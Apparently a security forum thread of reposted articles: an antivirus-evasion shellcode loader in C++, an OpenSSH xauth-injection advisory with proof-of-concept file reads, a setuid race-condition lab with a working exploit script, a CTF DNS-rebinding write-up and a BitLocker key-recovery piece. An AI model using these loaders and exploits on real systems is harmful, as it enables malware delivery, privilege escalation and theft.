Nytro

Nu a citit nimeni sa vada ca este roman, ca apoi sa inceapa cu caterinca... http://news.softpedia.com/news/ghostshell-shares-his-thoughts-on-anonymous-malsec-the-feds-snitches-and-more-501769.shtml

Secrete C++ - Constantin Galatan O sa vezi cat de "avansat" esti...

Monday, March 14, 2016 Bypassing Antivirus With Ten Lines of Code or (Yet Again) Why Antivirus is Largely Useless I had originally set out to write a long winded blog post on different antivirus bypass techniques. I went through what was supposed to be step 1 of my guide and uploaded my resultant binary to virustotal. To my complete and utter shock, the binary got a 0/56 detection rate. I decided to throw out my long winded idea and move forward with this quick, dirty, and unbelievably easy method. I believe that most of my readers would agree with me that bypassing most antivirus based solutions is rather trivial, however I do occasionally bump in to some people who solely rely on tools that generate binaries that can easily be fingerprinted and flagged by antivirus solutions. This article is largely intended for that audience. Before I dive in to this small tidbit of C++ code, I'd like to touch on a tool that is really good at producing binaries that almost always evade detection, Veil-Evasion (part of theVeil-Framework). This tool is awesome (many thanks to @harmj0y and others for creating and contributing to this awesome project) and in almost all instances I have had to use it has not let me down. If it has, I blame people who keep generating binaries and then testing them on virustotal. If you people could stop doing that, that would be great. At any rate, this begs the question, if tools like Veil Evasion are so epic, why should you care about knowing how to slap togother a binary with a shellcode payload yourself? Well there are a number of reasons: People get busy and tools become deprecated The binaries generated by tools become fingerprintable; not the payload necessarily, but the compiled structure of the binary. As a penetration tester, you should really know how to do this. Ups your leet cred.. or so I hear. Before you take a look at the below code, it's worth noting that this is targeting the windows platform; as obviously noted with the reference to windows.h #include <windows.h> #include <iostream> int main(int argc, char **argv) { char b[] = {/* your XORd with key of 'x' shellcode goes here i.e. 0x4C,0x4F, 0x4C */}; char c[sizeof b]; for (int i = 0; i < sizeof b; i++) {c = b ^ 'x';} void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, c, sizeof c); ((void(*)())exec)(); } Quite simply, the above code creates a character array with shell code you can add, performs an XOR operation with the incredibly sophisticated key of lowercase 'x', allocates some memory, copies the character array in said allocated memory, and executes it. It may be worth highlighting that you will need to XOR your shellcode with your key of choosing (in this case 'x') before you put it in the above code and compile. So you are probably looking at that and thinking 'really?' - I know how you feel. This is how I felt after I intended this to be step 1 of my tutorial and I ran it through virustotal and it returned 0/56 detection. I'd like to stress that this is an incredible simple and most basic technique, yet its success is still rather astonishing. I originally wrote this example and tested it on virus total a while ago, but I did reanalyze the executable on virustotal at the time of publishing this post and found it still had a 0 detection rate. The binary you generate will very likely not match the SHA256 of the binary I have tested; the binary I uploaded contained shellcode generated with the metasploit framework. Final Comments Alright, so antivirus is dead. We all know that. That being said, we can't argue that over 95% of organizations are still depending on antivirus to protect endpoints. Is there a better way? certainly. A number of vendors, which I shall not name, have launched products that take a new approach to protecting endpoints primarily focusing on identification of known exploit techniques. This is usually performed by way of injecting DLLs in to processes that will monitor for these known techniques and prevent the exploit from working successfully. Is this fool proof technique? I would be inclined to say no. The bar will be raised, but a new type of cat and mouse game will begin. Final note: The above may not work on _all_ antivirus solutions. I figure that was obvious, but thought I would mention it before the pitch forks come after me! Sursa: http://www.attactics.org/2016/03/bypassing-antivirus-with-10-lines-of.html

subsearch subsearch is a command line tool designed to brute force subdomain names. It is aimed at penetration testers and bug bounty hunters and has been built with a focus on speed, stealth and reporting. The current release is version 0.1.1 and was published on 14/3/2016. Features Scan a single hostname or a list of hostnames Takes as arguments a comma separated list of DNS resolvers, and/or a file containing newline delimited list of resolvers Check if the hostname's authoritative name servers are vulnerable to a zone transfer (can be skipped) Recursive scanning: If a CNAME, MX, NS or SRV record is discovered, the any subdomains will be added to a priority list of subdomains to scan for Extra level of verbosity Reporting capability Real-time feedback Supports the use of massive wordlists Sursa: https://github.com/gavia/subsearch

CVE-2016-3115 - OpenSSH <=7.2p1 xauth injection From: INTREST SEC <researchlab () intrest-sec com> Date: Mon, 14 Mar 2016 10:06:34 +0100 Author: <github.com/tintinweb> Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115 Version: 0.2 Date: Mar 3rd, 2016 Tag: openssh xauth command injection may lead to forced-command and /bin/false bypass Overview -------- Name: openssh Vendor: OpenBSD References: * http://www.openssh.com/[1] Version: 7.2p1 [2] Latest Version: 7.2p1 Other Versions: <= 7.2p1 (all versions; dating back ~20 years) Platform(s): linux Technology: c Vuln Classes: CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection') Origin: remote Min. Privs.: post auth CVE: CVE-2016-3115 Description --------- quote website [1] OpenSSH is the premier connectivity tool for remote login with the SSH protocol. It encrypts all traffic to eliminate eavesdropping, connection hijacking, and other attacks. In addition, OpenSSH provides a large suite of secure tunneling capabilities, several authentication methods, and sophisticated configuration options. Summary ------- An authenticated user may inject arbitrary xauth commands by sending an x11 channel request that includes a newline character in the x11 cookie. The newline acts as a command separator to the xauth binary. This attack requires the server to have 'X11Forwarding yes' enabled. Disabling it, mitigates this vector. By injecting xauth commands one gains limited* read/write arbitrary files, information leakage or xauth-connect capabilities. These capabilities can be leveraged by an authenticated restricted user - e.g. one with the login shell configured as /bin/false or one with configured forced-commands - to bypass account restriction. This is generally not expected. The injected xauth commands are performed with the effective permissions of the logged in user as the sshd already dropped its privileges. Quick-Info: * requires: X11Forwarding yes * bypasses /bin/false and forced-commands ** OpenSSH does not treat /bin/false like /bin/nologin (in contrast to Dropbear) * does not bypass /bin/nologin (as there is special treatment for this) Capabilities (xauth): * Xauth * write file: limited chars, xauthdb format * read file: limit lines cut at first \s * infoleak: environment * connect to other devices (may allow port probing) PoC see ref github. Patch see ref github. Details ------- // see annotated code below * server_input_channel_req (serverloop.c) *- session_input_channel_req:2299 (session.c [2]) *- session_x11_req:2181 * do_exec_pty or do_exec_no_pty *- do_child *- do_rc_files (session.c:1335 [2]) Upon receiving an `x11-req` type channel request sshd parses the channel request parameters `auth_proto` and `auth_data` from the client ssh packet where `auth_proto` contains the x11 authentication method used (e.g. `MIT-MAGIC-COOKIE-1`) and `auth_data` contains the actual x11 auth cookie. This information is stored in a session specific datastore. When calling `execute` on that session, sshd will call `do_rc_files` which tries to figure out if this is an x11 call by evaluating if `auth_proto` and `auth_data` (and `display`) are set. If that is the case AND there is no system `/sshrc` existent on the server AND it no user-specific `$HOME/.ssh/rc` is set, then `do_rc_files` will run `xauth -q -` and pass commands via `stdin`. Note that `auth_data` nor `auth_proto` was sanitized or validated, it just contains user-tainted data. Since `xauth` commands are passed via `stdin` and `\n` is a command-separator to the `xauth` binary, this allows a client to inject arbitrary `xauth` commands. Sidenote #1: in case sshd takes the `$HOME/.ssh/rc` branch, it will pass the tainted input as arguments to that script. Sidenote #2: client code also seems to not sanitize `auth_data`, `auth_proto`. [3] This is an excerpt of the `man xauth` [4] to outline the capabilities of this xauth command injection: SYNOPSIS xauth [ -f authfile ] [ -vqibn ] [ command arg ... ] add displayname protocolname hexkey generate displayname protocolname [trusted|untrusted] [timeout seconds] [group group-id] [data hexdata] [n]extract filename displayname... [n]list [displayname...] [n]merge [filename...] remove displayname... source filename info exit quit version help ? Interesting commands are: info - leaks environment information / path ~# xauth info xauth: file /root/.Xauthority does not exist Authority file: /root/.Xauthority File new: yes File locked: no Number of entries: 0 Changes honored: yes Changes made: no Current input: (argv):1 source - arbitrary file read (cut on first `\s`) # xauth source /etc/shadow xauth: file /root/.Xauthority does not exist xauth: /etc/shadow:1: unknown command "smithj:Ep6mckrOLChF.:10063:0:99999:7:::" extract - arbitrary file write * limited characters * in xauth.db format * since it is not compressed it can be combined with `xauth add` to first store data in the database and then export it to an arbitrary location e.g. to plant a shell or do other things. generate - connect to <ip>:<port> (port probing, connect back and pot. exploit vulnerabilities in X.org Source ------ Inline annotations are prefixed with `//#!` /* * Run $HOME/.ssh/rc, /etc/ssh/sshrc, or xauth (whichever is found * first in this order). */ static void do_rc_files(Session *s, const char *shell) { ... snprintf(cmd, sizeof cmd, "%s -q -", options.xauth_location); f = popen(cmd, "w"); //#! run xauth -q - if (f) { fprintf(f, "remove %s\n", //#! remove <user_tainted_data> - injecting \n auth_display injects xauth command s->auth_display); fprintf(f, "add %s %s %s\n", //#! \n injection s->auth_display, s->auth_proto, s->auth_data); pclose(f); } else { fprintf(stderr, "Could not run %s\n", cmd); } } } Proof of Concept ---------------- Prerequisites: * install python 2.7.x * issue `#> pip install paramiko` to install `paramiko` ssh library for python 2.x * make sure `poc.py` Usage: <host> <port> <username> <password or path_to_privkey> path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key poc: 1. configure one user (user1) for `force-commands` and another one with `/bin/false` in `/etc/passwd`: #PUBKEY line - force commands: only allow "whoami" #cat /home/user1/.ssh/authorized_keys command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user1@box #cat /etc/passwd user2:x:1001:1002:,,,:/home/user2:/bin/false 2. run sshd with `X11Forwarding yes` (kali default config) #> /root/openssh-7.2p1/sshd -p 22 -f sshd_config -D -d 3. `forced-commands` - connect with user1 and display env information #> python <host> 22 user1 .demoprivkey INFO:__main__:add this line to your authorized_keys file: #PUBKEY line - force commands: only allow "whoami" #cat /home/user/.ssh/authorized_keys command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box INFO:__main__:connecting to: user1:<PKEY>@host:22 INFO:__main__:connected! INFO:__main__: Available commands: .info .readfile <path> .writefile <path> <data> .exit .quit <any xauth command or type help> #> .info DEBUG:__main__:auth_cookie: '\ninfo' DEBUG:__main__:dummy exec returned: None INFO:__main__:Authority file: /home/user1/.Xauthority File new: no File locked: no Number of entries: 1 Changes honored: yes Changes made: no Current input: (stdin):3 /usr/bin/xauth: (stdin):2: bad "add" command line ... 4. `forced-commands` - read `/etc/passwd` ... #> .readfile /etc/passwd DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n' DEBUG:__main__:dummy exec returned: None INFO:__main__:root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync ... 5. `forced-commands` - write `/tmp/testfile` #> .writefile /tmp/testfile `thisisatestfile` DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa' DEBUG:__main__:dummy exec returned: None DEBUG:__main__:auth_cookie: '\nextract /tmp/testfile 127.0.0.250:65500' DEBUG:__main__:dummy exec returned: None DEBUG:__main__:/usr/bin/xauth: (stdin):2: bad "add" command line #> ls -lsat /tmp/testfile 4 -rw------- 1 user1 user1 59 xx xx 13:49 /tmp/testfile #> cat /tmp/testfile \FA65500hi\FA65500`thisisatestfile`\AA 6. `/bin/false` - connect and read `/etc/passwd` #> python <host> 22 user2 user2password INFO:__main__:connecting to: user2:user2password@host:22 INFO:__main__:connected! INFO:__main__: Available commands: .info .readfile <path> .writefile <path> <data> .exit .quit <any xauth command or type help> #> .readfile /etc/passwd DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n' DEBUG:__main__:dummy exec returned: None INFO:__main__:root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin ... user2:x:1001:1002:,,,:/home/user2:/bin/false ... 7. `/bin/false` - initiate outbound X connection to 8.8.8.8:6100 #> generate 8.8.8.8:100 . #> tcpdump IP <host>.42033 > 8.8.8.8.6100: Flags [S], seq 1026029124, win 29200, options [mss 1460,sackOK,TS val 431416709 ecr 0,nop,wscale 10], length 0 Mitigation / Workaround ------------------------ * disable x11-forwarding: `sshd_config` set `X11Forwarding no` * disable x11-forwarding for specific user with forced-commands: `no-x11-forwarding` in `authorized_keys` Notes ----- Verified, resolved and released within a few days. very impressive. Vendor response: see advisory [5] References ---------- [1] http://www.openssh.com/ [2] https://github.com/openssh/openssh-portable/blob/5a0fcb77287342e2fc2ba1cee79b6af108973dc2/session.c#L1388 [3] https://github.com/openssh/openssh-portable/blob/19bcf2ea2d17413f2d9730dd2a19575ff86b9b6a/clientloop.c#L376 [4] http://linux.die.net/man/1/xauth [5] http://www.openssh.com/txt/x11fwd.adv Sursa: http://seclists.org/fulldisclosure/2016/Mar/46

Vin cu ceva mai important in 4.6: http://www.phoronix.com/scan.php?page=news_item&px=Linux-4.6-MM-32-bit-ASLR "Most notable to the mm pull request is the enabling of full ASLR randomization for 32-bit programs. Yes, about Address Space Layout Randomization. If you're not familiar with it, see Wikipedia. "

E mail-ul de la Linus, toata lumea stie engleza, link-ul e la final.

E facut doar partea de desing, partea de backend si integrare cu IPBoard nu e facuta. Eu am facut pentru index-ul existent, ar trebui sa fie ok, mie imi merge, nu stiu de ce apar probleme

Social-Network-Harvester-v1.0 How to install the SNH on Ubuntu server v.14.04.4: Install the prerequisites: sudo apt-get update sudo apt-get upgrade sudo apt-get install python3-dev libmysqlclient-dev sudo apt-get install python-pip Create a virtual environnement for python sudo virtualenv py3env -p python3 source py3env/bin/activate Install python3 modules: pip install mysqlclient pip install django run the server in dev-mode: cd Social-Network-Harvester-v1.0/Social-Network-Harvester-v1.0 python manage.py runserver Sursa: https://github.com/unclesaam/Social-Network-Harvester-v1.0

Race Condition (TOCTOU) Vulnerability Lab Lab Overview A race condition occurs when two threads access a shared variable at the same time. The first thread reads the variable, and the second thread reads the same value from the variable. Then the first thread and second thread perform their operations on the value, and they race to see which thread can write the value last to the shared variable. The value of the thread that writes its value last is preserved, because the thread is writing over the value that the previous thread wrote. The outcome of the execution depends on the particular order in which the access takes place. If a privileged program has a race-condition vulnerability, attackers can run a parallel process to “race” against the privileged program, with an intention to change the behaviors of the program. In this lab, you will be given a program with a race-condition (TOCTOU) vulnerability; your task is to exploit the vulnerability and gain the root privilege. Lab Tasks Set the environment Create a normal user on Kali Linux Normally with a fresh installation of Kali Linux, we use the “root” account by default, so we should create a normal user account, the student should follow the below steps to create a normal user account: Open the terminal Use the following command to create a new user # adduser <username> Then log out from this root user session Login with the created new user account A vulnerable Program The following C program is our vulnerable program, which contains Time To Check -Time To Use (TOC TOU) vulnerability /* vulnerable-program.c */ #include <stdio.h> #include<unistd.h> #include <string.h>#define DELAY 50000 int main(int argc, char * argv[]) { char * fileName = argv[1]; char buffer[60]; int i; FILE * fileHandler; /* get user input */ scanf(“%50s”, buffer ); if(!access(fileName, W_OK)) { /*Simulating the Delay*/ for(i = 0; i < DELAY;i++) { int a = i ^ 2; } fileHandler = fopen(fileName, “a+”); fwrite(“\n”, sizeof(char), 1, fileHandler); fwrite(buffer, sizeof(char), strlen(buffer), fileHandler); fwrite(“\n”, sizeof(char), 1, fileHandler); fclose(fileHandler); } else { printf(“No permission \n”); } } This program appends a string of user input to the end of a file. The program takes the file name as a command-line argument. This program must be owned by the “root” user, and the program should be a Set-UID program which means that we must set the Set-UID bit to the executable. Since the program is part of a Set-UID program, the program will run with the root privilege. The purpose of calling “access()” system call is to check whether the real user has the “access” permission to the file (provided by the user as a command line argument). Once the program has made sure that the real user indeed has the right, the program opens the file and writes the user input into the file. The program is vulnerable to a race condition because of the time window between the check which represents in calling “access()” system call and the use which represents in calling “fopen()” system call, and we simulating, this time, window by delaying the execution using the for statement. Vulnerable program Compilation In this step, the student will learn how to compile the vulnerable program, by following the following steps: Copy the vulnerable code in a file and name it as “vulnerable-program.c” Open the terminal Change the user to the root user, using the following command $su root Use Clang compiler to compile the code. #clang vulnerable-program.c –o vulnerable-program Now the code should be compiled correctly, and the owner of the binary file should be the root user as you see from the below screenshot. Set the Set-UID Bit to the Binary File In this step, the student should set the Set-UID bit to the binary file, by following the following steps: Open the terminal Change the user to the root user Use the “chmod” command line utility to set the SUID bit #chmod u+s vulnerable-program As you can see from the below screenshot that the vulnerable program binary file became part of Set-UID program Exploiting the Vulnerable Program The idea of exploiting the vulnerability is that there is a possibility that the file used by “access()” system call is different from the file used by calling “fopen()” system call even though they have the same file name. This could happen if a malicious attacker can create a symbolic link with the same name as the provided filename (provided by the user as a command line argument). The symbolic link is pointing to the protected file which usually we don’t have permission to edit it such as “/etc/shadow” file, so the attacker can cause the user input to be appended to the protected file “/etc/shadow” because the program runs with the root privilege, and can overwrite any file. For successfully exploit this vulnerable program, we need to achieve the following: Overwrite any file that belongs to root user which usually we don’t have permission to overwrite it. To achieve this you should follow the following steps: Create a File Belongs to the Root User In this step, you should create a file belongs to the root user; you should follow the following steps to create a file belongs to the root user: Open the terminal Change the user to login as the root user Now type the following command to create a file called passwd and put some text in it. # echo “This is a file owned by the user” > passwd Now use the following command to make sure that the file is created and it’s owner is the root user “ls –l passwd”. Write a Symbolic Link Program In this step, you should write a program that will create the symbolic link to the protected file rather than creating it manually, You can manually create symbolic links using “ln -s” or you can call C function “symlink” to create symbolic links in your program. The following program will create a symbolic link with the same name as the provided filename (provided by the user as a command line argument) /* symbolic-link.c */ #include <stdio.h> #include<unistd.h> #include <string.h> int main(int argc, char * argv[]) { unlink(argv[1]); symlink(“./passwd”,argv[1]); } So now follow the following steps to compile it correctly: Copy the code in a file and name it as “symbolic-link.c” Open a terminal (Normal user) Use Clang compiler to compile the code. $clang symbolic-link.c –o symbolic-link Now the code should be compiled correctly, and the binary is ready to use it. Write a Script to Exploit the Vulnerable Program In this step, you should write a script to execute the vulnerable program and the symlink program at the same time and check if the protected file has been overwritten, if not the script should repeat the attack until it works. The following bash script will do the following: Create a file; the normal user can overwrite it. Run the vulnerable program and the symbolic link program at the same time Then the script checks if the password file has been changed or not. If changed, it will stop the execution. 4. If not changed it will repeat the steps again until the attack succeeds. #!/bin/sh # exploit.sh old=`ls -l passwd` new=`ls -l passwd` while [ “$old” = “$new” ] do rm passwdlocal; echo “This is a file that the user can overwrite” > passwdlocal echo “TOCTOU-Attack-Success” | ./vulnerable-program passwdlocal & ./symbolic-link passwdlocal & new=`ls -l passwd` done echo “STOP… The passwd file has been changed” Now copy the previous bash script as “exploit.sh” and execute it as the following “./exploit.sh” (Normal user) and the script will not stop executing until the attack succeed and the password file will be overwritten. As you can see from the above screenshot that the attack executed multiple times and finally the attack succeeds and the password file has been overwritten. P.S.: The attack takes some time to succeed (It takes 2 min with me), if you want to make faster, you could increase the delay time between “access()” and “open()” system calls. ETHICAL HACKING TRAINING – RESOURCES (INFOSEC) Mitigation The best approach to fix the vulnerable program in this lab is to apply the least privilege principle, in other words, if the users who use the program don’t need a certain privilege, it should be disabled. In our case, we can use “seteuid()” system call to temporarily disable the root privilege, and we can enable it later if necessary. Here is the updated vulnerable code with the fix to mitigate this vulnerability, we fixed this vulnerable program by setting the effective user id to the real user id value, so if the real user doesn’t have the permission to overwrite the file, then the file will not be overwritten. /* vulnerable-program-fix.c */ #include <stdio.h> #include<unistd.h> #include <sys/types.h> #include <string.h> #define DELAY 50000 int main(int argc, char * argv[]) { char * fileName = argv[1]; char buffer[60]; int i; FILE * fileHandler; /* get user input */ scanf(“%50s”, buffer ); if(!access(fileName, W_OK)) { /*Simulating the Delay*/ for(i = 0; i < DELAY;i++) { int a = i ^ 2; } /*THIS IS THE FIX */ /*Set the effective user id to the real user id value.*/seteuid(getuid()); fileHandler = fopen(fileName, “a+”); fwrite(“\n”, sizeof(char), 1, fileHandler); fwrite(buffer, sizeof(char), strlen(buffer), fileHandler);fwrite(“\n”, sizeof(char), 1, fileHandler); fclose(fileHandler); } else { printf(“No permission \n”); } } After compiling the previous code and setting the Set-UID bit, it’s time to run the exploit code again. You will observe that the exploit code will run almost forever, and the attack will not succeed any more. AUTHOR Ahmed Mohamed Sursa: http://resources.infosecinstitute.com/race-condition-toctou-vulnerability-lab/

0CTF 2016 Write Up: Monkey (Web 4) The Chinese 0CTF took place on March 12-13 and it was yet another fun CTF. I played with my teammates from TheGoonies and we were ranked #48. I found the Web task "Monkey" particularly interesting: I solved it with the help from my friend@danilonc, but it took way longer than it should because of some **Spoiler Alert** DNS glitches. According to the scoreboard status, approximately 35 teams were able to solve it. Task: Monkey (Web - 4pts) What is Same Origin Policy? you can test this problem on your local machine http://202.120.7.200 The running application receives a Proof-of-Work string and an arbitrary URL, instructing a "monkey" to browse the inputted URL for 2 minutes. Proof-of-Work Solving the proof-of-work is pretty straightforward. We had to generate random strings and compare the first 6 chars from its MD5 against the challenge. The POW challenge was more cpu-intensive than normal, so the traditional bash/python one-liner ctf scripts would require some performance improvements. @danilonc had written a quick hack using Go to bruteforce and solve POW from older CTF challs, so we just slightly modified it: package main import ( "fmt" "os" "crypto/md5" "math/rand" "time" "encoding/hex" "strings" ) var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789=/+") func randSeq(n int) string { b := make([]rune, n) for i := range b { b = letters[rand.Intn(len(letters))] } return string(b) } func main() { //warning - don't try this at home //OWASP kills a panda every time you seed random with timepstamps rand.Seed(time.Now().UnixNano()) //argument from cmdline prefix := os.Args[1] //generate md5 from random strings for { attemp := randSeq(8) hash := md5.New() hash.Write([]byte(attemp)) hashString := hex.EncodeToString(hash.Sum(nil)) //compare the cmdline input with the md5 prefix if strings.HasPrefix(hashString,prefix){ fmt.Printf("%s\n",attemp) break } } } view rawpow.go hosted with ❤ by GitHub Solving the Proof-of-Work: Same-Origin-Policy and CORS The Same-Origin-Policy (SOP) deems pages having the same URI scheme, hostname and port as residing at the same-origin. If any of these three attributes varies, the resource is in a different origin. Hence, if provided resources come from the same hostname, scheme and port, they can interact without restriction. If you try to use an XMLHttpRequest to send a request to a different origin, you can’t read the response. However, the request will still arrive at its destination. This policy prevents a malicious script on one page from obtaining access to sensitive data (both the header and the body) on another web page, on a different origin. For this particular CTF challenge, if the secret internal webpage had had an insecure CORS header like this "Access-Control-Allow-Origin: *", we would be able to retrieve its data with no effort. This, of course, was not the case. Bypassing the Same-Origin The flag was accessible on an internal webserver hosted at http://127.0.0.1:8080/secret. The first thing we did was hooking the monkey's browser using BeEF, so we could fingerprint his device, platform, plugins and components. There was nothing interesting here, a custom user-agent and no known vulnerable component. We enumerated the chars accepted by the server with the following script: #!/bin/bash for (( j=0 ; j<=0xFF ; j++ )) ; do i=$(printf '%%%X\n' $j) echo -n "$i"" " page=$(curl -s -D - http://202.120.7.200) session=$(echo "$page" | grep Cookie | cut -d" " -f2 | cut -d";" -f1) challenge=$(echo $page | grep substr | cut -d\' -f2) string=$(go run pow.go "$challenge") curl -i -s -k -X 'POST' \ -b "$session" \ --data-binary $"task="$string"&url="$i"" \ 'http://202.120.7.200/run.php' | tail -n1 echo done view rawtest-chars.sh hosted with ❤ by GitHub Unfortunately, the server was rejecting special chars like spaces (%20 and +) and there was no command injection signal. Our evil plan to input --disable-web-security $URL to disable Chrome's SOP didn't work so we had to find new ways to retrieve the secrets. We also thought about using data:uri and file schemes to load a malicious script/webpage, but it wouldn't help us to bypass the SOP. We tried to input URL's like <html><script/**/src='http://www.example.com:8000/hook.js'></script></html> andfile:///proc/self/environ (setting custom headers with a malicious HTML), but that is also known not to work on modern browsers. DNS Rebinding After some discussion, we came to the conclusion that we needed to perform a DNS Rebinding attack.devttys0 presented about this class of vulnerabilities at DEFCON 18 and @mikispag recently wrote a detailed post describing how to use DNS rebinding to steal WiFi passwords. DNS rebinding is a technique that can be used to perform a breach of same-origin restrictions, enabling a malicious website to interact with a different domain. The possibility of this attack arises because the segregations in the SOP are based primarily on domain name and port, whereas the ultimate delivery of HTTP requests involves converting domain names into IP addresses. We had some issues at first because we tried to use the free DNS service from DuckDNS and it was very glitchy. For some obscure reason, we were unable to hook the user's browser when using the service. In order to make our life miserable, the challenge monkey would browse the site for two minutes only: we also could't use the DNS services from Namecheap because the minimum TTL time is 60 seconds. Attack Phase After deciding to set up the DNS server on our own, we came with the following attack scenario: 1) User visits the beef hook page at http://ctf.example.com:8080 (IP 1.2.3.4). 2) Webpage will load BeEF javascript hook and his browser will become a zombie. 3) We perform a DNS Rebind to change the A Record from 1.2.3.4 to 127.0.0.1. @danilonc set the BIND Zone file with a low TTL (1 sec) and replaced the answer (lines 14-15) as soon as the browser got hooked. 4) Perform a CORS request using BeeF's "Test CORS Request" module. Here's a small diagram of the attack: After a couple of tries we finally managed to get the flag: Flag: 0ctf{monkey_likes_banananananananaaaa} Posted by Bernardo Rodrigues at 9:01 PM Sursa: https://w00tsec.blogspot.ro/2016/03/0ctf-2016-write-up-monkey-web-4.html

RECOVERING BITLOCKER KEYS ON WINDOWS 8.1 AND 10 A brief touch on how the changes to BitLocker after Windows 7 affect master key recovery and where to look when recovering keys. This article is not intended to be an in-depth look at the inner workings of BitLocker, but is instead focussed on retrieval of the Full Volume Encryption Key (FVEK) from memory. Key recovery on Windows 7 is a fairly simple exercise (see references at the end of this article for further reading). When dealing with a Windows 7 memory image we can simply search for theFVEc pool tag as an indicator of exactly where the FVEK lies in memory. From there, we can proceed to extract the key. Starting with Windows 8, however, it seems that the cryptographic operations for BitLocker have been outsourced to Microsoft’s CNG (Cryptography Next Generation) Module, which is the long-term replacement for CryptoAPI, rather than being performed internally within the fvevol driver. What this means for us is that searching for the FVEc pool tag on Windows 8 and above will no longer yield anything useful. AESKeyFind still works, of course, though depending on your memory image you may need to tweak your threshold settings. Key Recovery via Live kernel debugging I’m not entirely sure where you would find yourself in a situation with a debugger attached to the kernel, yet not be able to disable BitLocker, retrieve the recovery password or add your own key protector, but hey, stranger things have happened. On the other hand, perhaps you want the FVEK for other reasons – such as persistence across key protector changes (Even then retrieval from memory is arguably less effort and less intrusive than kernel debugging). However I used windbg to investigate the changes to BitLocker on Windows 8 / 10 and it is certainly possible to retrieve the FVEK using this method as well as demonstrating the use of CNG. To get started, this is an example of the call stack on a Windows 7 box – The encrypt / decrypt functions are all handled within fvevol. This example is using the default encryption method, which is AES 128-bit with the Elephant Diffuser. On the other hand, in this Windows 8.1 example, CNG starts to get involved with the encrypt / decrypt functions: Now, we can actually retrieve the FVEK at this point from the second argument passed toSymCryptEcbDecrypt, which contains a pointer to the location of the key in memory. Therdx register (64-bit machine) contains a pointer to the location of the FVEK in memory, so, by setting a breakpoint on cng!SymCryptEcbDecrypt then obtaining the value of rdx we can extract the FVEK (Note that this is a 256-bit key, the default 128-bit will be half the size): That was a Windows 8.1 Example. When dealing with Windows 10 in XTS-AES mode, break on cng!SymCryptXtsAesDecrypt and check the rcx register (During my testing the key was passed as the first argument to the XTS Decrypt function): By moving backwards through the memory image slightly we can see that this section of memory is likely tagged with a Cngb pool tag. As expected, checking the pool tag definitions reveals that Cngb is used for CNG allocations: Cngb – ksecdd.sys – CNG kmode crypto pool tag Which brings us to the next (much more practical) stage. Key Recovery using memory pool allocations As previously mentioned most of the cryptographic work appears to have been farmed out to the CNG driver, whereas in previous versions of windows the fvevol driver contained its own implementations. Searching for the Cngb pool tag will yield a lot of results as CNG is a complex beast and is not solely used for BitLocker, however, the pool sizes seem to be fairly consistent which means we can use them as an indicator of key locations. The pool size for Cngb appears to be consistent at 672, regardless of encryption type – Volatility can find these pools for you with the poolpeek plugin: Whilst I have not yet identified a method of differentiating between BitLocker modes from the contents of the Cngb pool alone, there is a marker which appears to reliably identify a key length of either 128-bit or 256-bit at an offset of 0x68 within the pool. A value of ’10’ seems to indicate a key length of 128-bit to follow, and ’20’ indicates a key length of 256-bit. Interestingly enough, keys other than the FVEK exist with the same format (In a Cngb pool of size 672), but only after Bitlocker is enabled on the system. It’s possible this could be one of the other keys used in Bitlocker, such as the Volume Master Key (VMK), however at this point I have not identified the function of these keys. Volatility Plugin This plugin is very much an experimental work-in-progress. With this information on hand, I have put together a Volatility plugin which can extract BitLocker keys from Windows 7, and in theory versions of Windows above 7. The plugin isn’t entirely reliable for Windows 8 – 10 but works in most cases with a few quirks: Returns AES Keys other than the FVEK (See above, these keys only exist on Bitlocker protected systems). Doesn’t always work with Windows 10 XTS-AES encryption (Though works with CBC). Cannot identify the BitLocker mode of operation above Windows 7. The plugin operates as follows: Obtains Windows version from profile metadata. If the version is lower than Windows 8: Searches for FVEc pool tag Identifies BitLocker mode Extracts FVEK of appropriate length and TWEAK key if applicable If the version is higher than Windows 8: Searches for Cngb pool tag with a pool size of 672 Attempts to identify key length (Does not work properly for XTS-AES in Win10) Extracts either 128-bit or 256-bit key Is unable to guarantee it is a BitLocker FVEK. Prints the results. Example of a Windows 7 image: Example of a Windows 8.1 Image: Example of a Windows 10 image (CBC): And this is a screenshot of mounting the above Windows 8.1 protected volume using the FVEK data: The excellent libbde 